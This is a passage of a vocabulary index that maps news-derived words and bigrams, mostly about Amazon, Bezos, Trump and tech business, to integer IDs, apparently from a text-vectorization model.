dealings": 56300, "oils": 56301, "blend": 56302, "smart stem": 56303, "yalelawjournal org": 56304, "wasn altogether": 56305, "power production": 56306, "restrictions financial": 56307, "right president": 56308, "general resisted": 56309, "getting older": 56310, "decode": 56311, "place tl": 56312, "far west": 56313, "jones played": 56314, "news pundit": 56315, "includes principal": 56316, "giants exploited": 56317, "bureau report": 56318, "foxconn trump": 56319, "1987 book": 56320, "stores supporters": 56321, "897 000": 56322, "diverse political": 56323, "insistence": 56324, "just enjoy": 56325, "summit elon": 56326, "averaged stars": 56327, "knight": 56328, "inflatable love": 56329, "michael mandel": 56330, "postmaster common": 56331, "wife cutting": 56332, "partner alphaone": 56333, "build half": 56334, "strike just": 56335, "house campaign": 56336, "consider cutting": 56337, "335": 56338, "total production": 56339, "practice violence": 56340, "urine test": 56341, "nation largest": 56342, "norahodonnell": 56343, "influence bs_link": 56344, "crisis wreaking": 56345, "hugs": 56346, "intentionally stifling": 56347, "worst day": 56348, "wilson wife": 56349, "import engineers": 56350, "spoon": 56351, "comptemptext comp": 56352, "called second": 56353, "laws uniformly": 56354, "clinton elected": 56355, "included batteries": 56356, "returns": 56357, "schmidt famously": 56358, "troubles california": 56359, "amazon considering": 56360, "214": 56361, "today tiny": 56362, "manager business": 56363, "olivier douliery": 56364, "unch otcm": 56365, "greedy corporate": 56366, "research michael": 56367, "took trade": 56368, "sack cartoon": 56369, "enhance community": 56370, "kacy grine": 56371, "newspapers staffers": 56372, "eats": 56373, "veterans employment": 56374, "police seize": 56375, "sportscaster": 56376, "policing": 56377, "endorsed hillary": 56378, "legal precedence": 56379, "report suggesting": 56380, "workshop attendees": 56381, "ball wrote": 56382, "company enjoying": 56383, "murdered post": 56384, "business areas": 56385, "facebook operator": 56386, "nothings want": 56387, "page 2a": 56388, "plight": 56389, "says claims": 56390, "general theme": 56391, "peculiar goings": 56392, "news megan": 56393, "foods foto": 56394, "prefer using": 56395, "snc lavalin": 56396, "steinmart": 56397, "career development": 56398, "kelly future": 56399, "greece": 56400, "strong gains": 56401, "ipt nonprofit": 56402, "heavy tech": 56403, "costs businesses": 56404, "investigating facebook": 56405, "jr recently": 56406, "amazingly positive": 56407, "google investigation": 56408, "economy fed": 56409, "smile geekwire": 56410, "began calling": 56411, "thave": 56412, "directors approves": 56413, "slashed game": 56414, "interesting tech": 56415, "2018 funny": 56416, "massive capital": 56417, "billion market": 56418, "enormous bargaining": 56419, "roigfranzia says": 56420, "wh suspicious": 56421, "product showcase": 56422, "companies discounted": 56423, "hyping": 56424, "gm lordstown": 56425, "left loathes": 56426, "amendment schiff": 56427, "controversy severe": 56428, "recent slowdown": 56429, "upgrading": 56430, "care service": 56431, "brokerage app": 56432, "movies": 56433, "260 shares": 56434, "budget delineating": 56435, "credit getty": 56436, "ssg": 56437, "globally massive": 56438, "days coverage": 56439, "reduce service": 56440, "data": 56441, "andes storms": 56442, "low single": 56443, "employees wall": 56444, "famously\u0430receiving massive": 56445, "air food": 56446, "postage additionally": 56447, "statement obtained": 56448, "seller forums": 56449, "israel make": 56450, "gathering actors": 56451, "news noted": 56452, "wildfire southern": 56453, "bananah": 56454, "minimum amazon": 56455, "decline brain": 56456, "petty squabbling": 56457, "posturing": 56458, "department tweeted": 56459, "refugee sanitation": 56460, "services council": 56461, "publication dramatically": 56462, "stopped paying": 56463, "bezos satanism": 56464, "father 2018": 56465, "haired 45th": 56466, "lydia kiesling": 56467, "goods usps": 56468, "bass wyden": 56469, "amazon target": 56470, "official paint": 56471, "geared": 56472, "subscribe nov": 56473, "tap guinness": 56474, "release wait": 56475, "movement published": 56476, "street grow": 56477, "harrisburg north": 56478, "unsettling purgatory": 56479, "city worker": 56480, "premier partners": 56481, "bezos raising": 56482, "offer subsidy": 56483, "trump hhs": 56484, "shadowy industry": 56485, "trust corporate": 56486, "including electing": 56487, "target ross": 56488, "watchers": 56489, "oman clarkston": 56490, "pages abramson": 56491, "anti constitutional": 56492, "power lavrentiy": 56493, "darla": 56494, "picoult new": 56495, "make point": 56496, "wyomingnews": 56497, "videotape griffeth": 56498, "country alaska": 56499, "shipping technology": 56500, "family controlled": 56501, "activist rev": 56502, "thoughts": 56503, "taxes prime": 56504, "cells mit": 56505, "jenner career": 56506, "naturally people": 56507, "reports postmaster": 56508, "bellone": 56509, "press larry": 56510, "pecker ties": 56511, "bullet national": 56512, "following books": 56513, "firings": 56514, "congestion": 56515, "ill letter": 56516, "29b": 56517, "begins writing": 56518, "perez": 56519, "magazine check": 56520, "new factor": 56521, "maven": 56522, "focus away": 56523, "happy days": 56524, "innovators": 56525, "wapo congressional": 56526, "fashion lines": 56527, "house calling": 56528, "ilana": 56529, "sent 590": 56530, "questio": 56531, "questionable redactions": 56532, "anti vaccine": 56533, "investors jittery": 56534, "123 jeff": 56535, "praying": 56536, "slowest shopping": 56537, "robbing": 56538, "958 drones": 56539, "platforms antitrust": 56540, "null inline_script_tags": 56541, "comcast previously": 56542, "wired magazine": 56543, "impossible production": 56544, "illegitimate access": 56545, "graphics card": 56546, "told apple": 56547, "company 100": 56548, "governmentwide commerce": 56549, "grips": 56550, "services customers": 56551, "movements occlusion": 56552, "donate money": 56553, "local furor": 56554, "mind omarosa": 56555, "jefferies": 56556, "unseat republicans": 56557, "wins million": 56558, "beth williams": 56559, "lower refugee": 56560, "disclosures brad": 56561, "think happens": 56562, "deal costs": 56563, "credits lifted": 56564, "sexually salacious": 56565, "necessarily predict": 56566, "126 million": 56567, "help deliver": 56568, "spokesman proclaiming": 56569, "740 billion": 56570, "livestream": 56571, "national borders": 56572, "post earlier": 56573, "rolled cart": 56574, "weeks away": 56575, "leonid bershidsky": 56576, "padres leading": 56577, "contractor agreement": 56578, "don observe": 56579, "levels produce": 56580, "cheaper alternatives": 56581, "receive generous": 56582, "residential neighborhoods": 56583, "170 bought": 56584, "warrant recusal": 56585, "company judge": 56586, "make takedown": 56587, "ostroy": 56588, "public distaste": 56589, "dislikes amazon": 56590, "learn advanced": 56591, "targeting cities": 56592, "body slammed": 56593, "telling constituents": 56594, "recent development": 56595, "business reich": 56596, "tripadvisor european": 56597, "propaganda channel": 56598, "anisha sood": 56599, "decade devoid": 56600, "decade following": 56601, "newspaper super": 56602, "kind investors": 56603, "producer comment": 56604, "toad treasure": 56605, "fine point": 56606, "certain trade": 56607, "data shows": 56608, "books title": 56609, "bi prime": 56610, "shells": 56611, "instigating": 56612, "disempowering": 56613, "company leadership": 56614, "ones little": 56615, "amazon govpredict": 56616, "scout tufankjian": 56617, "w4 object": 56618, "bombshell blog": 56619, "investors react": 56620, "spurred republicans": 56621, "national examiner": 56622, "yummy cheese": 56623, "reported google": 56624, "land desirable": 56625, "unionized members": 56626, "oppose special": 56627, "cbsnews bezos": 56628, "ordo\u00f1ez white": 56629, "sexual sleaze": 56630, "land weaving": 56631, "competitive practices": 56632, "budget italy": 56633, "center resistance": 56634, "with\u0430proceeds": 56635, "hires bounty": 56636, "sales involve": 56637, "wasson amazon": 56638, "displeased": 56639, "jay carafano": 56640, "trinidad": 56641, "lead developer": 56642, "agile methodologies": 56643, "mchugh writes": 56644, "distribution bootleg": 56645, "urges latin": 56646, "lady justice": 56647, "usatoday": 56648, "announcing tons": 56649, "report desney": 56650, "professional": 56651, "helps ice": 56652, "new actions": 56653, "soon rely": 56654, "o2x h0": 56655, "provide significant": 56656, "winning control": 56657, "father donald": 56658, "moya": 56659, "000 factory": 56660, "necessitate increased": 56661, "similar services": 56662, "cjr chief": 56663, "scenery": 56664, "rip aretha": 56665, "nyse cat": 56666, "meaningful self": 56667, "libel laws": 56668, "heal": 56669, "news donald": 56670, "fell alphabet": 56671, "kareem growing": 56672, "truthout": 56673, "openmic org": 56674, "nightmare": 56675, "traditional hardware": 56676, "wb ab": 56677, "company resulted": 56678, "repeated meetings": 56679, "desperate pivot": 56680, "1527845402 mirroring": 56681, "job creator": 56682, "meaningful profits": 56683, "schools": 56684, "amazon protections": 56685, "repeal google": 56686, "solid fundamental": 56687, "truck amazon": 56688, "union fined": 56689, "begins dating": 56690, "music service": 56691, "americas quarterly": 56692, "craft history": 56693, "waters provided": 56694, "ensure low": 56695, "just wealthy": 56696, "reminds people": 56697, "katharine briggs": 56698, "inner": 56699, "larger issue": 56700, "aut_imgid": 56701, "garth ennis": 56702, "2019 usps": 56703, "company unprovoked": 56704, "religions": 56705, "ayanna": 56706, "beach house": 56707, "throes": 56708, "day ends": 56709, "solemn goodbye": 56710, "verge trumpland": 56711, "practice profession": 56712, "vilify big": 56713, "bit beyonce": 56714, "deliberate steps": 56715, "showing life": 56716, "vied": 56717, "agreement catch": 56718, "greer kids": 56719, "dominoes": 56720, "state run": 56721, "company profile": 56722, "market peak": 56723, "washington residence": 56724, "tariffs according": 56725, "cool heating": 56726, "thebook": 56727, "crowdfund": 56728, "prompted fbi": 56729, "solid annual": 56730, "cloud players": 56731, "subreddit": 56732, "tilt emerged": 56733, "negative experiences": 56734, "center north": 56735, "stifle ones": 56736, "regions": 56737, "yvonne kim": 56738, "card association": 56739, "ongoing california": 56740, "cdc report": 56741, "racist ideologies": 56742, "retailer ceo": 56743, "legal pot": 56744, "brashear": 56745, "unilaterally impose": 56746, "supporter michael": 56747, "best people": 56748, "away security": 56749, "333b spending": 56750, "affectionate respect": 56751, "talks trade": 56752, "jolley decided": 56753, "death certificates": 56754, "times democrats": 56755, "paid 957": 56756, "easy payments": 56757, "friendship": 56758, "clairevoyant stars": 56759, "winkler": 56760, "considering uk": 56761, "reaching general": 56762, "investigation fox": 56763, "talks putin": 56764, "answer isn": 56765, "asian country": 56766, "gutter low": 56767, "category capturing": 56768, "brian lehrer": 56769, "old lawsuit": 56770, "fastidious layer": 56771, "niobium": 56772, "foreign origin": 56773, "amazon sudden": 56774, "foreign agent": 56775, "errol": 56776, "california took": 56777, "graham spiritual": 56778, "medicaid food": 56779, "trump exhibits": 56780, "insurance fuel": 56781, "chromecast xbox": 56782, "marjon van": 56783, "undermine competition": 56784, "citythe council": 56785, "registration enter": 56786, "ebay charge": 56787, "customer data": 56788, "apparent efforts": 56789, "strong indicator": 56790, "pressley": 56791, "pizza dpz": 56792, "bezos rejected": 56793, "km\u00b2": 56794, "held later": 56795, "cohens": 56796, "saw personal": 56797, "language series": 56798, "happens virtually": 56799, "receive reply": 56800, "dee ann": 56801, "closers": 56802, "delivers remarks": 56803, "level banks": 56804, "bloomberg sweden": 56805, "ehx3z5cmxb": 56806, "values proud": 56807, "america workers": 56808, "currently accounts": 56809, "visit business": 56810, "launch nationwide": 56811, "free smart": 56812, "twitter year": 56813, "latest afghanistan": 56814, "significant slowdown": 56815, "factors working": 56816, "day business": 56817, "perkins caufield": 56818, "ecl smithbridge": 56819, "series alex": 56820, "john king": 56821, "order lumber": 56822, "amazon choose": 56823, "amazon key": 56824, "beyer va": 56825, "annually looms": 56826, "ore cory": 56827, "politically motivated": 56828, "sail": 56829, "rivet home": 56830, "tour promoting": 56831, "pharmacy benefit": 56832, "getting online": 56833, "position near": 56834, "left anti": 56835, "hot demand": 56836, "americans want": 56837, "magine": 56838, "kambouris hide": 56839, "bipartisan": 56840, "employ 100": 56841, "chapters": 56842, "living computers": 56843, "scandal jeff": 56844, "characteristics including": 56845, "insider dennis": 56846, "rosemary": 56847, "presidency fighting": 56848, "gunningham": 56849, "extortion tactics": 56850, "program rolling": 56851, "just think": 56852, "taran killam": 56853, "juicy gossip": 56854, "ricardel kelly": 56855, "swanky": 56856, "employees rallying": 56857, "subsidize hurricane": 56858, "rudimentary": 56859, "allure": 56860, "legitimate ruler": 56861, "becker leading": 56862, "2000 election": 56863, "rural area": 56864, "trump defends": 56865, "mcdonalds": 56866, "given retail": 56867, "news united": 56868, "tweeted republicans": 56869, "worth noting": 56870, "regulation especially": 56871, "cloud based": 56872, "dismissed accused": 56873, "miami chief": 56874, "owns earlier": 56875, "oena": 56876, "video american": 56877, "yoswein": 56878, "fbi deputy": 56879, "harry arrives": 56880, "contributing opinion": 56881, "right martin": 56882, "republican chairman": 56883, "instead trump": 56884, "entirely cheers": 56885, "strong talk": 56886, "mea culpa": 56887, "interview think": 56888, "abundantly clear": 56889, "pharmacy division": 56890, "054 shares": 56891, "oxycontin": 56892, "history torpedoing": 56893, "american west": 56894, "cities tohost": 56895, "joined dc": 56896, "embodies": 56897, "regularly antagonized": 56898, "amazon shutterfly": 56899, "lamented titles": 56900, "mysterious": 56901, "haslam josh": 56902, "heaped praise": 56903, "day resulted": 56904, "inaudible bartiromo": 56905, "adam driver": 56906, "stature": 56907, "tech highfliers": 56908, "tightens": 56909, "chanted jeered": 56910, "chinos": 56911, "pretty 2018": 56912, "depicted words": 56913, "pundits quickly": 56914, "note quoting": 56915, "watched steve": 56916, "kennedy sent": 56917, "story sandusky": 56918, "president signing": 56919, "atf": 56920, "people probably": 56921, "amazon rejection": 56922, "amazon film": 56923, "develop holistic": 56924, "rarely discussed": 56925, "hostile approach": 56926, "computer business": 56927, "shares turned": 56928, "expanded amazon": 56929, "story netapp": 56930, "brian schatz": 56931, "possible bryan": 56932, "thoughtfully": 56933, "1977 impeccable": 56934, "heartland org": 56935, "uber reputation": 56936, "retired television": 56937, "unconscionable": 56938, "disabled": 56939, "launch impeachment": 56940, "base": 56941, "gmbunion4amazon gmbunionamazon": 56942, "sold 230": 56943, "coverage hosted": 56944, "cbs news": 56945, "isn responsible": 56946, "8m square": 56947, "fusion joint": 56948, "bribes range": 56949, "include lowe": 56950, "display video": 56951, "purchasing construction": 56952, "city funds": 56953, "89x compared": 56954, "bizjournals": 56955, "journalists pundits": 56956, "blake bronx": 56957, "highest taxes": 56958, "infrastructure known": 56959, "earlier claim": 56960, "cuban": 56961, "contrived": 56962, "replace libraries": 56963, "cost jeff": 56964, "peril 2018": 56965, "indymac": 56966, "web advertising": 56967, "beckerman observed": 56968, "325m": 56969, "labeling genetically": 56970, "sexual abuser": 56971, "100 ideas": 56972, "rally means": 56973, "recently slapped": 56974, "corp nyse": 56975, "drop palantir": 56976, "correctly set": 56977, "espn": 56978, "katie packer": 56979, "kelman knows": 56980, "spokesman geng": 56981, "jpg pubdate": 56982, "seconds chicago": 56983, "entrepreneurship startups": 56984, "regulation amazon": 56985, "tribal elder": 56986, "documentaries available": 56987, "snag rivals": 56988, "early afternoon": 56989, "know sounding": 56990, "crisis judge": 56991, "trump feels": 56992, "ceo howard": 56993, "sotu address": 56994, "amazon flows": 56995, "immigrant residents": 56996, "solutions ant": 56997, "david keating": 56998, "embarrassing details": 56999, "tostring b7a": 57000, "business developing": 57001, "development president": 57002, "volumes fell": 57003, "facebook users": 57004, "mosque": 57005, "grassley republican": 57006, "forcibly separated": 57007, "autos": 57008, "fluidity": 57009, "optimistic view": 57010, "rename trump": 57011, "568 shares": 57012, "returns washington": 57013, "bashers": 57014, "verify employer": 57015, "ruthless high": 57016, "teens kavanaugh": 57017, "spectrum news": 57018, "poletti marketwatch": 57019, "pakistani gunmen": 57020, "paper lobbies": 57021, "late evangelist": 57022, "secs": 57023, "make significant": 57024, "amazon counterfeit": 57025, "company netflix": 57026, "1619 late": 57027, "passes 333b": 57028, "ghz": 57029, "screenshot internet": 57030, "trump approving": 57031, "rewarded premium": 57032, "essentially accused": 57033, "official tours": 57034, "operations cnn": 57035, "popular rejection": 57036, "giving tens": 57037, "routinely describes": 57038, "cheaper black": 57039, "100 faces": 57040, "second week": 57041, "visit colombia": 57042, "japanese short": 57043, "include channels": 57044, "fought battle": 57045, "155x90 getty_173218731_200015422000928060_388160": 57046, "kimball little": 57047, "attuned": 57048, "opportunity given": 57049, "deadly dam": 57050, "assistants moving": 57051, "looks just": 57052, "walmart model": 57053, "developed number": 57054, "ruralista": 57055, "researcher mike": 57056, "clad body": 57057, "months laying": 57058, "plastic altogether": 57059, "harold": 57060, "everybody thanks": 57061, "451 william": 57062, "robert pattinson": 57063, "browning": 57064, "blasio aides": 57065, "destabilizes": 57066, "allsquare wealth": 57067, "nation clinton": 57068, "tim hortons": 57069, "pubggad": 57070, "organizations latin": 57071, "existing relationships": 57072, "fringes": 57073, "owned telecom": 57074, "transgender": 57075, "untied health": 57076, "family children": 57077, "completely gianaris": 57078, "surge": 57079, "investigation alabama": 57080, "weibo customer": 57081, "lobbyist donald": 57082, "criteria nextgov": 57083, "sasquatch": 57084, "flake": 57085, "7mx6tc32za": 57086, "including existing": 57087, "reduced presence": 57088, "underside": 57089, "bezos brother": 57090, "hour sanders": 57091, "accelerated depreciation": 57092, "potential allies": 57093, "spokesperson insists": 57094, "o2x w8": 57095, "pharis romero": 57096, "regular": 57097, "methodology doesn": 57098, "kmgt": 57099, "abbate associate": 57100, "censorship explains": 57101, "partners access": 57102, "nation hosts": 57103, "evolution": 57104, "producing razor": 57105, "hills max": 57106, "historic summit": 57107, "rush similar": 57108, "streaming media": 57109, "dr sindhuja": 57110, "comments amazon": 57111, "bestseller promise": 57112, "spent nearly": 57113, "imprisoned": 57114, "ix": 57115, "counterfeits ubiquitous": 57116, "flavors mystery": 57117, "court deciding": 57118, "cosecha": 57119, "delivered": 57120, "job offer": 57121, "vast trump": 57122, "rohrabacher": 57123, "audible members": 57124, "assignments": 57125, "505": 57126, "cell thanks": 57127, "twitter relating": 57128, "blitz": 57129, "published statement": 57130, "appropriately address": 57131, "boost elimination": 57132, "don": 57133, "petco natural": 57134, "mchugh appears": 57135, "trump demanded": 57136, "image 600x400": 57137, "tsa employees": 57138, "king large": 57139, "isn feeling": 57140, "dictator thing": 57141, "crop": 57142, "partisan divide": 57143, "mystery jeff": 57144, "representing new": 57145, "daringthe justice": 57146, "pubg\u30e2\u30d0\u30a4\u30eb": 57147, "form think": 57148, "years right": 57149, "heuvel david": 57150, "sons embarked": 57151, "disappoint 2018": 57152, "remediation": 57153, "citing declines": 57154, "foundation wrote": 57155, "prepared": 57156, "year prominent": 57157, "whitestone oakland": 57158, "cascade recycling": 57159, "jillette": 57160, "framewidth": 57161, "tahir struck": 57162, "aswould": 57163, "sadly summarizes": 57164, "happened bezos": 57165, "15612 tilefeatureimage": 57166, "articles california": 57167, "employees 2018": 57168, "technology space": 57169, "military exercises": 57170, "midtown tunnel": 57171, "information visit": 57172, "toasting netteknows": 57173, "linda": 57174, "scale breaches": 57175, "enterprise thomson": 57176, "twitter accounts": 57177, "zack guzman": 57178, "vaccines norwegian": 57179, "lighter packages": 57180, "stunning undisclosed": 57181, "ago home": 57182, "walker president": 57183, "noise especially": 57184, "child sleeps": 57185, "history professor": 57186, "rex features": 57187, "greater boston": 57188, "firm": 57189, "adventurer": 57190, "favorite tv": 57191, "tech conglomerate": 57192, "channel spy": 57193, "poverty reduction": 57194, "q4 2019": 57195, "stories going": 57196, "questioning read": 57197, "ratings according": 57198, "gathering darkness": 57199, "time talent": 57200, "begin uploading": 57201, "magical tools": 57202, "temptation": 57203, "nfl": 57204, "charitytuesday": 57205, "called park": 57206, "island jails": 57207, "carell played": 57208, "roku trade": 57209, "impair freedom": 57210, "winning hbo": 57211, "forecast citing": 57212, "paul davis": 57213, "ends landmark": 57214, "shipping ship": 57215, "extra games": 57216, "congested": 57217, "political chaos": 57218, "future justice": 57219, "stories focusing": 57220, "shirt poynter": 57221, "2018 magnolia": 57222, "pay record": 57223, "boys giving": 57224, "105 16m": 57225, "data gathering": 57226, "tech calendar": 57227, "partially motivated": 57228, "commission 147": 57229, "orchestration": 57230, "boost manufacturing": 57231, "marketplace weinberger": 57232, "promising free": 57233, "janofsky rep": 57234, "switzerland": 57235, "major presence": 57236, "whitestone": 57237, "hacking scandal": 57238, "whyyyyyyyy": 57239, "technology used": 57240, "patriot prayer": 57241, "ministry spokesman": 57242, "cars construction": 57243, "potential extent": 57244, "night reviewing": 57245, "klion": 57246, "shipments": 57247, "inanimate": 57248, "donations karen": 57249, "targets stories": 57250, "outlet approached": 57251, "upgrade rollout": 57252, "economy instead": 57253, "fisher winston": 57254, "biggest city": 57255, "rates higher": 57256, "sharp witted": 57257, "agribusiness interests": 57258, "payments ami": 57259, "numerous": 57260, "accessible proof": 57261, "asked bunch": 57262, "mainstream news": 57263, "verus incorporated": 57264, "oxide abuse": 57265, "warren singer": 57266, "europe china": 57267, "adulterous affair": 57268, "owns blue": 57269, "glass blunt": 57270, "retooled": 57271, "times donald": 57272, "ads dentsu": 57273, "growth strong": 57274, "country trump": 57275, "involving thousands": 57276, "bowie life": 57277, "coming period": 57278, "107 million": 57279, "elaborate democrats": 57280, "anonymous statement": 57281, "cortez hit": 57282, "global brand": 57283, "fri": 57284, "joseph analysts": 57285, "fellow americans": 57286, "fi series": 57287, "bezos picture": 57288, "marc": 57289, "uk sales": 57290, "cohn": 57291, "spot luckily": 57292, "specific telemedicine": 57293, "inventory sold": 57294, "place names": 57295, "goods tycoon": 57296, "proposes updating": 57297, "facebook claims": 57298, "newstageng gmail": 57299, "tax policies": 57300, "biggest price": 57301, "trademark house": 57302, "order hope": 57303, "paper presenting": 57304, "release new": 57305, "held 500": 57306, "clearing": 57307, "ming": 57308, "tidy city": 57309, "gigantic mess": 57310, "week revealing": 57311, "writer akutagawa": 57312, "manson murderous": 57313, "ontario canada": 57314, "newspapers wanted": 57315, "stifling competition": 57316, "fitted nicely": 57317, "verus": 57318, "rambling": 57319, "director ana": 57320, "krispy": 57321, "called package": 57322, "retaliation amazon": 57323, "pentagon opened": 57324, "heavy goods": 57325, "public prefer": 57326, "related materials": 57327, "ubhi work": 57328, "shirts weren": 57329, "ran successfully": 57330, "learned growing": 57331, "fukoku mutual": 57332, "wall pandering": 57333, "governor caved": 57334, "texting": 57335, "owners protect": 57336, "steady rise": 57337, "citi mark": 57338, "citizen finally": 57339, "scandal shares": 57340, "1900s western": 57341, "amzn bounced": 57342, "000 jason": 57343, "usps employees": 57344, "testimony trump": 57345, "camp epidemic": 57346, "finland": 57347, "authority creating": 57348, "worldwide avoidance": 57349, "campaign learning": 57350, "prohibits government": 57351, "executives encouraged": 57352, "human outpost": 57353, "usds": 57354, "seattle told": 57355, "lyon": 57356, "schwabs": 57357, "social data": 57358, "energy handouts": 57359, "different delivery": 57360, "china makes": 57361, "selection comprising": 57362, "better bent": 57363, "using pricing": 57364, "stream logistics": 57365, "nov amazon": 57366, "german automakers": 57367, "ivy ross": 57368, "american oversight": 57369, "warned investors": 57370, "frequently criticized": 57371, "mellon school": 57372, "phd": 57373, "gay men": 57374, "orcl discriminated": 57375, "important entities": 57376, "cnn adsection": 57377, "acclaimed": 57378, "sent": 57379, "web platforms": 57380, "nash amazon": 57381, "fault": 57382, "broad channel": 57383, "scooter leaving": 57384, "book supporter": 57385, "bourne jack": 57386, "violation": 57387, "liquidation": 57388, "nyc pushed": 57389, "growth uptake": 57390, "better protect": 57391, "having major": 57392, "art african": 57393, "infraction": 57394, "district includes": 57395, "2020 democrat": 57396, "read companies": 57397, "ground control": 57398, "decision looms": 57399, "included trillion": 57400, "local political": 57401, "causing 1p": 57402, "sleep great": 57403, "donor alan": 57404, "monopoly hudgins": 57405, "sourced critical": 57406, "camps safer": 57407, "purchase tags": 57408, "flips": 57409, "latest china": 57410, "plan congress": 57411, "hill recently": 57412, "suntimes": 57413, "mining sectors": 57414, "initially blocked": 57415, "lori gottlieb": 57416, "amazon maria": 57417, "soy": 57418, "mangement": 57419, "market synergy": 57420, "cyanide": 57421, "learning superiority": 57422, "business country": 57423, "becker threw": 57424, "advantage given": 57425, "gained access": 57426, "room saying": 57427, "trumpzilla price": 57428, "getty_173218731_200015422000928060": 57429, "agreement talks": 57430, "started blaming": 57431, "president threats": 57432, "jeopardy draws": 57433, "ronna romney": 57434, "prioritise": 57435, "newsworthy subject": 57436, "person needs": 57437, "ibm": 57438, "exception snl": 57439, "tax giveaway": 57440, "subway action": 57441, "purposely seeking": 57442, "aides supportive": 57443, "published paper": 57444, "violent organizations": 57445, "c4": 57446, "amazon run": 57447, "workers resource": 57448, "covert agreement": 57449, "playbook perfected": 57450, "amazon qualifications": 57451, "asked brits": 57452, "controversial outfits": 57453, "florida nfl": 57454, "herman strongly": 57455, "job losses": 57456, "old myrtle": 57457, "term political": 57458, "nasdaq stmp": 57459, "hammond spokesman": 57460, "sapiens agenda": 57461, "solution free": 57462, "faced words": 57463, "things declining": 57464, "restrict human": 57465, "constrain speech": 57466, "liability company": 57467, "bring luxury": 57468, "starboard value": 57469, "jester": 57470, "cardigan sweaters": 57471, "major communications": 57472, "jeff landers": 57473, "paradise calif": 57474, "great silicon": 57475, "layery movementx": 57476, "fcc decision": 57477, "spending decisions": 57478, "girard partners": 57479, "absent deep": 57480, "wattage profile": 57481, "target joe": 57482, "supporting trump": 57483, "interview georgia": 57484, "deficit scold": 57485, "run adoption": 57486, "reads curated": 57487, "icon wme": 57488, "nearly 050": 57489, "thing called": 57490, "youtube premium": 57491, "pledges": 57492, "francisco bay": 57493, "spoken anxious": 57494, "as\u0430first children": 57495, "time tracking": 57496, "symbiotically": 57497, "notoriety": 57498, "campus save": 57499, "proposal rates": 57500, "greatest director": 57501, "amzn sand": 57502, "bedposts": 57503, "bush rubio": 57504, "illegal migrants": 57505, "squared irresistibly": 57506, "nasdaq stock": 57507, "metropolis area": 57508, "ocd": 57509, "basis berenberg": 57510, "launch qanon": 57511, "haidar": 57512, "dumping new": 57513, "home flippers": 57514, "shone spotlight": 57515, "international shipments": 57516, "thestar": 57517, "cnn injector": 57518, "slavery reparations": 57519, "base model": 57520, "undocumented": 57521, "larger yahoo": 57522, "good news": 57523, "football legend": 57524, "obtained michael": 57525, "thespian audacity": 57526, "teamsters joined": 57527, "taxes america": 57528, "hengehold": 57529, "media powerhouse": 57530, "resorted": 57531, "congressional shills": 57532, "disrupt amazon": 57533, "vb wb": 57534, "abominably": 57535, "party did": 57536, "kashmir hill": 57537, "castle accused": 57538, "released pro": 57539, "2020 olympics": 57540, "twofold": 57541, "floods": 57542, "abusive practices": 57543, "probably welcome": 57544, "tv star": 57545, "flipboard follow": 57546, "2019 mark": 57547, "138 000": 57548, "operates home": 57549, "analyst christopher": 57550, "vendors deepening": 57551, "overtime hours": 57552, "delaying": 57553, "vino": 57554, "allegedly personally": 57555, "attack media": 57556, "hugely inadequate": 57557, "making progress": 57558, "weekend weddings": 57559, "upright masculinity": 57560, "jcp": 57561, "willis": 57562, "hurt tags": 57563, "vigorously": 57564, "mocks indian": 57565, "twitter criticized": 57566, "national archives": 57567, "imazon told": 57568, "says brides": 57569, "right bartiromo": 57570, "devastated": 57571, "popular southern": 57572, "key european": 57573, "brithume": 57574, "amazon tactic": 57575, "companies expressing": 57576, "lennihan glen": 57577, "andrew maylor": 57578, "microsoft website": 57579, "confidential counseling": 57580, "jimmy mcgill": 57581, "branson elon": 57582, "new target": 57583, "hottest tech": 57584, "ward elections": 57585, "cybersecurity research": 57586, "geetha ranganathan": 57587, "unflattering trump": 57588, "conflating": 57589, "hbo adaptation": 57590, "building ice": 57591, "insight violence": 57592, "excellent investment": 57593, "amazonbasics arabella": 57594, "package goods": 57595, "wrong bezos": 57596, "free delivery": 57597, "old novelist": 57598, "season sales": 57599, "small player": 57600, "minutes visiting": 57601, "new kinds": 57602, "sexual snaps": 57603, "eco mindfulness": 57604, "responsibly today": 57605, "help remains": 57606, "proposed 117": 57607, "items desired": 57608, "ideaof": 57609, "commerce players": 57610, "musk emotional": 57611, "division problems": 57612, "walmart signed": 57613, "drowned": 57614, "new structure": 57615, "rapid innovation": 57616, "opponents inside": 57617, "dump": 57618, "scandal president": 57619, "apple sued": 57620, "workers thousands": 57621, "statement asserting": 57622, "delay wall": 57623, "thumb small": 57624, "senate want": 57625, "corporate rate": 57626, "significantly suppressed": 57627, "dhl": 57628, "lynch washington": 57629, "list wolff": 57630, "cnbc press": 57631, "saudi tabloid": 57632, "taxes apple": 57633, "small entrepreneurs": 57634, "drop feel": 57635, "fresh crop": 57636, "volume ju": 57637, "dwarfs": 57638, "liz benjamin": 57639, "expansion program": 57640, "401": 57641, "care physicians": 57642, "epa business": 57643, "aftershock": 57644, "reason true": 57645, "hour pressure": 57646, "assert": 57647, "right chicago": 57648, "ny post": 57649, "abbey": 57650, "regulatory issues": 57651, "amazons motto": 57652, "know joshua": 57653, "lebanese": 57654, "quarter case": 57655, "colleagues estimated": 57656, "alexis goldstein": 57657, "childhoods": 57658, "story chinese": 57659, "cardboard velvet": 57660, "drastically reduced": 57661, "bid rigging": 57662, "netflix stock": 57663, "share adding": 57664, "outlet breitbart": 57665, "including regulations": 57666, "persistence": 57667, "email server": 57668, "allegiance coinciding": 57669, "zeldin": 57670, "paying handsome": 57671, "conglomerate expects": 57672, "commerce forward": 57673, "biographer ron": 57674, "person": 57675, "amazon brief": 57676, "following lawsuit": 57677, "patrick chief": 57678, "cattle ranchers": 57679, "florida senate": 57680, "contractsanalysts": 57681, "study included": 57682, "abu dhabi": 57683, "market correction": 57684, "ing wen": 57685, "inc_flag_for_reviewflag": 57686, "attention authorities": 57687, "sortorder null": 57688, "important message": 57689, "american read": 57690, "beverage minimum": 57691, "helped stabilize": 57692, "second trimester": 57693, "building rent": 57694, "bezos pending": 57695, "herald": 57696, "popular books": 57697, "public confidence": 57698, "world leadership": 57699, "pollock": 57700, "analysis hundreds": 57701, "month regret": 57702, "flexispot": 57703, "400 soldiers": 57704, "parachuted": 57705, "empy": 57706, "anecdote du": 57707, "100 guests": 57708, "decades issuing": 57709, "doritos": 57710, "lawn drew": 57711, "house means": 57712, "electric scooter": 57713, "sales rocket": 57714, "goods seized": 57715, "subscribe": 57716, "bit ly": 57717, "nepalese": 57718, "wrote love": 57719, "garissa county": 57720, "services aws": 57721, "offering print": 57722, "pursley political": 57723, "prattplus": 57724, "boosts regardless": 57725, "producer brian": 57726, "initiative role": 57727, "particular outcomes": 57728, "hired 120": 57729, "bourdain brash": 57730, 